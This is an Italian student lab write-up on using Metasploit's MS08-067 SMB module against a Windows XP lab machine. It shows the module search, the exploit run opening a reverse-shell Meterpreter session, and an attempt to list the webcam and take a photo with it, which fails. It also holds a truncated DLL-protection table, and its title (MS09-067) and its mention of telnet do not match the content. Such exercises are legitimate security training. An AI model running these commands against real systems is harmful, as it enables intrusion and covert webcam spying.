



Riccardo Agostino
Monti

S7 L3

HACKING

MS09-067

Scopo del test

Nell'esercizio di oggi ci viene chiesto di collegarci alla macchina Windows XP utilizzando telnet dal framework di metasploit e verificare che la webcam sia presente.

afeSEH	ASLR	NXCompat	OS DLL	Version	Path
True	False	False	True	5.1.2600	\Windows\Files\Audio\WINDO
True	False	False	False	-1.0- [SDL	
True	False	False	True	6.00.2900.	
True	False	False	True	5.1.2600.551	
True	False	False	True	8.00.6001.187	
False	False	False	False	1.2.12.0 [SDL_	
True	False	False	True	5.1.2600.5512 [h	
True	False	False	True	5.131.2600.5512 [C	
True	False	False	True	5.1.2600.5512 [xpspa	
True	False	False	False	1.0.0.402 [SysInfo.dll]	
True	False	False	True	7.0.2600.5512 [msvcr	
True	False	False	False	0.8.22.5506 [AudioCoder.exe]	
True	False	False	True	5.1.2600.5512 [RPCRT4.dll] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [ntdll.dll] (C:\WINDO	
True	False	False	False	-1.0- [libxml2.dll] (C:\Program Files)	
True	False	False	True	5.1.2600.5512 [wshtcpip.dll] (C:\WINDO	
True	False	False	True	8.00.6001.18702 [ieframe.dll] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [sensapi.dll] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [RASAPI32.dll] (C:\WINDO	
True	False	False	True	8.00.6001.18702 [iertutil.dll] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [IMAGEHELP.dll] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [rasadhlp.dll] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [Secur32.dll] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [WSOCK32.dll] (C:\WINDO	
True	False	False	True	6.00.2900.5512 [shdocvw.dll] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [WS2HELP.dll] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [ole32.dll] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [IMM32.DLL] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [hnetcfg.dll] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [USER32.dll] (C:\WINDO	
False	False	False	False	1.13 [libiconv-2.dll] (C:\Program File	
False	True	False	False	5.131.2600.5512 [CRYPTUI.dll] (C:\WINDO	
False	True	False	True	5.1.2600.5512 [rtutils.dll] (C:\WINDO	
False	True	False	True	5.1.2600.5512 [IPHLPAPI.DLL] (C:\WINDO	
False	True	False	True	5.131.2600.5512 [WINTRUST.dll] (C:\WINDO	
False	True	False	True	2001.12.4414.700 [COMRes.dll] (C:\WINDO	
False	True	False	True	5.1.2600.5512 [OLEAUT32.dll] (C:\WINDO	
False	True	False	True	5.1.2600.5512 [rasman.dll] (C:\WINDO	
False	True	False	True	6.00.2900.5512 [SHELL32.dll] (C:\WINDO	
True	True	False	False	-1.0- [mcres.dll] (C:\Program Files\Au	
False	True	False	True	5.1.2600.5512 [DNSAPI.dll] (C:\WINDO	
False	True	False	True	2001.12.4414.700 [CLBCATQ.DLL] (C:\WINDO	
False	True	False	True	6.0 [comctl32.dll] (C:\WINDOWS\WinSxS\	
False	True	False	True	5.1.2600.5512 [MSACM32.dll] (C:\WINDO	
True	False	False	False	1.1.0.0 [dsp_chmx.dll] (C:\Program Fil	
False	True	False	True	8.00.6001.18702 [WININET.dll] (C:\WINDO	
False	True	False	True	6.00.2900.5512 [SHLWAPI.dll] (C:\WINDO	
False	True	False	True	5.1.2600.5512 [AVIFIL32.dll] (C:\WINDO	
False	True	False	True	5.1.2600.5512 [msctfimeime] (C:\WINDO	
False	True	False	True	5.1.2600.5512 [MSCTF.dll] (C:\WINDO	
True	False	False	False	-1.0- [dsp_zsc.dll] (C:\Program Files\	
False	True	False	True	5.82 [COMCTL32.dll] (C:\WINDOWS\system	
False	True	False	True	5.1.2600.5512 [USERENU.dll] (C:\WINDO	
False	True	False	True	5.1.2600.5512 [WINMM.dll] (C:\WINDO	
False	True	False	True	5.1.2600.5512 [kernel32.dll] (C:\WINDO	
False	True	False	True	5.1.2600.5512 [GDI32.dll] (C:\WINDO	
False	True	False	False	-1.0- [mccommon.dll] (C:\Program File	
False	True	False	True	6.00.2900.5512 [uxtheme.dll] (C:\WINDO	
True	True	False	False	-1.0- [jpeg.dll] (C:\Program Files\Auc	
False	True	False	True	5.1.2600.5512 [WLDAP32.dll] (C:\WINDO	
False	True	False	True	5.1.2600.5512 [msv1_0.dll] (C:\WINDO	
False	True	False	True	5.1.2600.5512 [VERSION.dll] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [ADVAPI32.dll] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [PSAPI.DLL] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [WS2_32.dll] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [mswsock.dll] (C:\WINDO	
True	False	False	True	6.0.5441.0 [Normaliz.dll] (C:\WINDO	
True	False	False	True	5.1.2600.5512 [TAPI32.dll] (C:\WINDO	

Passo 1

Ricerca dell'exploit.

```
msf6 > search ms08
Esercizio S... S2/5
Matching Modules
-----
#  Name
0  exploit/windows/smb/ms08_067_netapi
1  exploit/windows/smb/smb_relay
2  exploit/windows/browser/ms08_078_xml_corruption
3  auxiliary/admin/ms/ms08_059_his2006
4  exploit/windows/browser/ms08_070_visual_studio_msmask
5  exploit/windows/browser/ms08_041_snapshotviewer
6  exploit/windows/browser/ms08_053_mediaencoder
7  auxiliary/fileformat/multidrop

-----  
Disclosure Date Rank Check Description
-----  
2008-10-28 great Yes  MS08-067 Microsoft Server Service Relative Path Stack Corruption
2001-03-31 excellent No   MS08-068 Microsoft Windows SMB Relay Code Execution
2008-12-07 normal No    MS08-078 Microsoft Internet Explorer Data Binding Memory Corruption
2008-10-14 normal No    Microsoft Host Integration Server 2006 Command Execution Vulnerability
2008-08-13 normal No    Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow
2008-07-07 excellent No   Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download
2008-09-09 normal No    Windows Media Encoder 9 Wmex.dll ActiveX Buffer Overflow
normal No    Windows SMB Multi Dropper

To boldly go where no shell has gone before
-----  
Interact with a module by name or index. For example info 7, use 7 or use auxiliary/fileformat/multidrop
msf6 > use exploit/windows/smb/ms08_067_netapi
```

Passo 2

Setup e utilizzo del exploit.

```
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.50.111
rhosts => 192.168.50.111
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.111:445 - Automatically detecting the target...
[*] 192.168.50.111:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.50.111:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.50.111:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.50.111
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.111:1032) at 2024-01-17 09:34:52 +0100

meterpreter > ipconfig

Interface 1: WARNING ! WARNING ! WARNING ! WARNING !
=====
Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1

Interface 2
=====
Name : Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilità di pianificazione pacchetti
Hardware MAC : 08:00:27:dd:60:de
MTU : 1500
IPv4 Address : 192.168.50.111
IPv4 Netmask : 255.255.255.0
```

Passo 3

Cercare la webcam e provare a effettuare una foto. Webcam trovata ma è impossibile fare la foto perché mancano i driver.

```
meterpreter > webcam_list
1: Periferica video USB
meterpreter > webcam_snap
[*] Starting...
[*] Stopped
[-] stdapi_webcam_start: Operation failed: 2147942431
```